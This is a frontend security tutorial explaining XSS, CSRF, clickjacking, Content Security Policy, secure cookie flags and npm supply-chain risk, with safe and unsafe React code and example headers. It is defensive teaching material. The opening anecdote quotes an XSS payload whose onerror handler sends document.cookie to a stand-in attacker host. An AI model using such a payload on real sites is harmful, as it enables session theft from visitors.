Frontend Security: The Browser-Side Threats You Own
XSS, CSRF, clickjacking, CSP, secure cookies, and supply-chain risk, the attacks that live in the browser, and the defenses a frontend engineer is responsible for shipping.
A comment field that ran code in every visitor's browser
A side project I shipped had a public comments section. Plain textarea, save the string, render it back on the page. It worked beautifully, until someone posted a comment that was not text. It was <img src=x onerror="fetch('https://evil.example/c?'+document.cookie)">. The browser tried to load the broken image, the onerror handler fired, and every single person who opened that page silently shipped their session cookie to a server I did not control. I had not written a single line of malicious code. I just rendered a string the way I render every other string.
That is the whole game. Most frontend security bugs are not exotic, they are the default behavior of the browser doing exactly what you told it to. This article walks the threats a frontend engineer is on the hook for: XSS, CSRF, clickjacking, Content Security Policy, secure cookie flags, and supply-chain risk in your bundle. Not theory, the concrete defense for each.
Who this is for
Frontend engineers who can build a React/TypeScript app but have never been the person responsible when a pen-test report lands. If you have ever typed `dangerouslySetInnerHTML` and felt a small flicker of doubt, this is for you. No prior security background assumed.
The one principle behind all of it
The browser runs whatever code ends up on the page, make sure it's only yours.
Every threat below is a variation on a single failure: code or actions you did not author end up executing with your user's identity, on your origin. XSS is attacker code running as your page. CSRF is the attacker borrowing your user's logged-in session. Clickjacking is the attacker borrowing your user's clicks. Supply chain is attacker code arriving inside a dependency you trusted. Once you see it as "whose code is this, and who is it acting as," the defenses stop feeling like a random checklist.
A bouncer who frisks everyone at the doorEscaping / sanitizing all untrusted input before it renders
A guest list of who is allowed to perform on stageContent Security Policy, only these script sources may run
An ID check before honoring a member's requestCSRF tokens + SameSite cookies, prove the request came from your app
Frosted glass so nobody can trick a member into signing through itFrame-busting headers against clickjacking
Frontend security mapped to a building you let the public into.
The picture: from untrusted input to a safe page
Two streams of untrusted material flow toward your page: data your users type, and third-party scripts you pull in. Each defense sits between a source and the rendered page. Trace one flow through this and the rest of the article is just detail.
Untrusted input and third-party code pass through layered defenses before anything renders or executes.
1
Input arrives untrusted
A comment, a URL query param, a profile name, treat every byte the user controls as potentially hostile, even from logged-in users.
2
Escape on output
When you render it, the framework turns `<` into `<` so it shows as text. The attack string becomes harmless characters on the screen instead of a live tag.
3
CSP backstops you
Even if one escape is missed, a Content-Security-Policy header tells the browser to refuse any inline or off-allowlist script, so the injected code never runs.
4
Cookies prove identity safely
SameSite + Secure + HttpOnly flags mean session cookies travel only on same-site requests over HTTPS and cannot be read by script, defanging both CSRF and cookie theft.
5
Only your code reaches the page
What renders is text you intended and scripts you allowlisted. Nothing the attacker supplied executes with your origin's authority.
The four threats at a glance
Before the code, here is the map. Memorize the defense column, that is your job description.
Threat
What it is
Defense
XSS
Attacker-supplied script runs as your page, with access to the DOM, cookies, and your user's session.
Render untrusted data as text (auto-escaping); sanitize HTML; never feed user data to `dangerouslySetInnerHTML`; add CSP as backstop.
CSRF
A malicious site triggers an authenticated request to your app using the victim's logged-in cookies.
`SameSite=Lax/Strict` cookies + anti-CSRF token (double-submit or synchronizer) on state-changing requests.
Clickjacking
Your page is loaded in an invisible iframe over a decoy, so the victim's clicks hit your UI unknowingly.
`Content-Security-Policy: frame-ancestors 'none'` (or `X-Frame-Options: DENY`) to forbid framing.
Supply chain
Malicious or compromised code ships inside an npm dependency and ends up in your bundle.
Lockfiles + `npm audit`, pin & review deps, Subresource Integrity for CDN scripts, and CSP to limit what they can reach.
The browser-side threats a frontend engineer owns, and the primary defense for each.
XSS: the difference is one render call
XSS (cross-site scripting) is the big one, and it is almost always self-inflicted. React, Vue, Angular all escape interpolated values by default, {userComment} in JSX renders the literal characters, so the attack from the intro becomes inert text. You only lose that protection when you go out of your way to bypass it. The single most dangerous escape hatch in React is dangerouslySetInnerHTML. The name is a warning, not a dare.
Comment.tsx
tsx
// UNSAFE, renders the string as live HTML.// If `comment` contains <img onerror=...>, the browser executes it.functionCommentUnsafe({ comment }: { comment: string }) {
return <div dangerouslySetInnerHTML={{ __html: comment }} />;
}
// SAFE, JSX escapes the value, so it renders as plain text.// <img onerror=...> shows up as visible characters, never runs.functionComment({ comment }: { comment: string }) {
return <div>{comment}</div>;
}
// If you GENUINELY need to render user HTML (rich-text editor output),// sanitize first with a vetted library, never trust raw input.import DOMPurify from"dompurify";
functionRichComment({ html }: { html: string }) {
const clean = DOMPurify.sanitize(html);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
The rule: default to text rendering. Reach for raw HTML only when a product requirement forces it (a WYSIWYG editor, sanitized markdown), and when you do, run it through a maintained sanitizer like DOMPurify *every time*, not just once at save. This is the same vulnerability class covered server-side in Preventing Injection Attacks, the input is hostile at every layer.
CSP: the safety net for the escape you missed
Auto-escaping is your primary defense, but you are human and apps are large. Content Security Policy is the backstop: an HTTP response header that tells the browser which sources of script, style, and other content are allowed to execute. With a strict CSP, even a successful injection fails, the browser simply refuses to run an inline <script> or load code from a domain you did not allowlist.
CSP response header
html
<!-- Sent as an HTTP header on every HTML response. -->
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.trusted.example;
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
connect-src 'self' https://api.yourapp.example;
frame-ancestors 'none';
object-src 'none';
base-uri 'self'
<!-- script-src 'self' = only scripts from your own origin run.
No inline <script> executes, no eval(), no injected handlers.
frame-ancestors 'none' also kills clickjacking in one line. -->
Note frame-ancestors 'none', that single directive is your clickjacking defense too. It tells browsers no site may load your page in a frame, so an attacker cannot overlay your UI under a decoy. Start CSP in Content-Security-Policy-Report-Only mode to see what would break, fix the violations, then enforce. Avoid 'unsafe-inline' for scripts, it defeats most of the point.
Cookies and CSRF: prove the request is really yours
CSRF (cross-site request forgery) abuses the fact that browsers attach your cookies to requests automatically. If you are logged into your bank and visit a malicious page, a hidden form there can POST to the bank, and the browser helpfully includes your session cookie. The fix lives in how you set the cookie and how you verify the request.
`SameSite=Lax` (or `Strict`), the browser will not send the cookie on cross-site requests, which neutralizes the classic CSRF flow. Lax is a sane default; Strict is tighter but can log users out when they arrive from external links.
`HttpOnly`, JavaScript cannot read the cookie via document.cookie, so even a successful XSS cannot steal the session token.
`Secure`, the cookie is only ever sent over HTTPS, so it cannot leak over a plaintext connection (see HTTPS, TLS & Encryption Basics).
Anti-CSRF token, for extra safety on state-changing requests, issue a per-session token the server checks (double-submit cookie or synchronizer pattern). Required if you cannot rely on SameSite for legacy reasons.
Set-Cookie response header
html
<!-- A session cookie with every flag a frontend should expect. -->
Set-Cookie: session=abc123;
HttpOnly; <!-- not readable by JS -> survives XSS -->
Secure; <!-- HTTPS only -> no plaintext leak -->
SameSite=Lax; <!-- not sent cross-site -> blocks CSRF -->
Path=/;
Max-Age=3600
<!-- The opposite of this: a token in localStorage with no flags.
Any XSS reads it instantly. Don't store session tokens there. -->
localStorage is not a vault
Tokens in `localStorage` are readable by any script on your origin, including injected XSS. An `HttpOnly` cookie is invisible to JavaScript by design. Prefer HttpOnly cookies for session tokens; reserve `localStorage` for non-sensitive UI state.
Supply chain: the attacker who never touched your code
Your bundle is mostly other people's code. A typical frontend app pulls in hundreds of transitive npm packages, any one of which could be compromised, a maintainer's account hijacked, a popular package sold to a bad actor, a typosquatted name installed by a fat-fingered command. That code runs with the exact same privileges as yours: full DOM, cookies (unless HttpOnly), network access.
Commit your lockfile (package-lock.json / pnpm-lock.yaml) and install with npm ci so builds are reproducible and can't silently float to a new version.
Run `npm audit` in CI and treat high-severity findings as build failures, not warnings to scroll past.
Vet before you add, check download counts, last publish date, maintainer, and open issues. Fewer, well-known dependencies beat a dozen one-off micro-packages.
Use Subresource Integrity (SRI) for any <script> loaded from a CDN: integrity="sha384-..." makes the browser refuse the file if its hash changes unexpectedly.
Lean on CSP, connect-src limits where third-party code can phone home, containing the blast radius even if a dep turns malicious.
Common mistakes that ship to production
`dangerouslySetInnerHTML` with user data, the number-one frontend XSS. If the HTML originated from a user, it must be sanitized with DOMPurify first, or rendered as text instead.
No Content Security Policy at all, without CSP you have exactly one layer (escaping) and zero backstop. The first missed escape becomes a full compromise.
Session tokens in `localStorage`, readable by any script, so any XSS becomes account takeover. Use HttpOnly cookies for anything that authenticates a request.
Unvetted / unpinned npm deps, adding packages without checking them, or installing without a committed lockfile, lets compromised code into your bundle with full origin privileges.
Trusting client-side validation, escaping and checks in the browser are for UX. The server must independently validate and sanitize, because the attacker controls the browser.
Takeaways
The whole article in seven lines
The browser runs whatever code ends up on the page, your job is to make sure it's only yours.
Default to text rendering; treat `dangerouslySetInnerHTML` as a last resort and always sanitize first.
Add a strict Content-Security-Policy as the backstop for the escape you'll eventually miss.
`frame-ancestors 'none'` kills clickjacking in a single CSP directive.
Set session cookies `HttpOnly; Secure; SameSite=Lax`, it defangs both CSRF and cookie theft.
Keep auth tokens out of `localStorage`; any XSS can read it instantly.
Your dependencies are your code, pin them, audit them, and constrain them with CSP.
Where to go next
Frontend security is one layer of a defense-in-depth stack. The same hostile-input mindset shows up at the API and database, and the cookie flags above only matter if your transport is actually secure.
This article covers concepts taught hands-on in the Cloud Engineer and DevOps career paths, with real terminal labs, production scenarios, and structured lessons.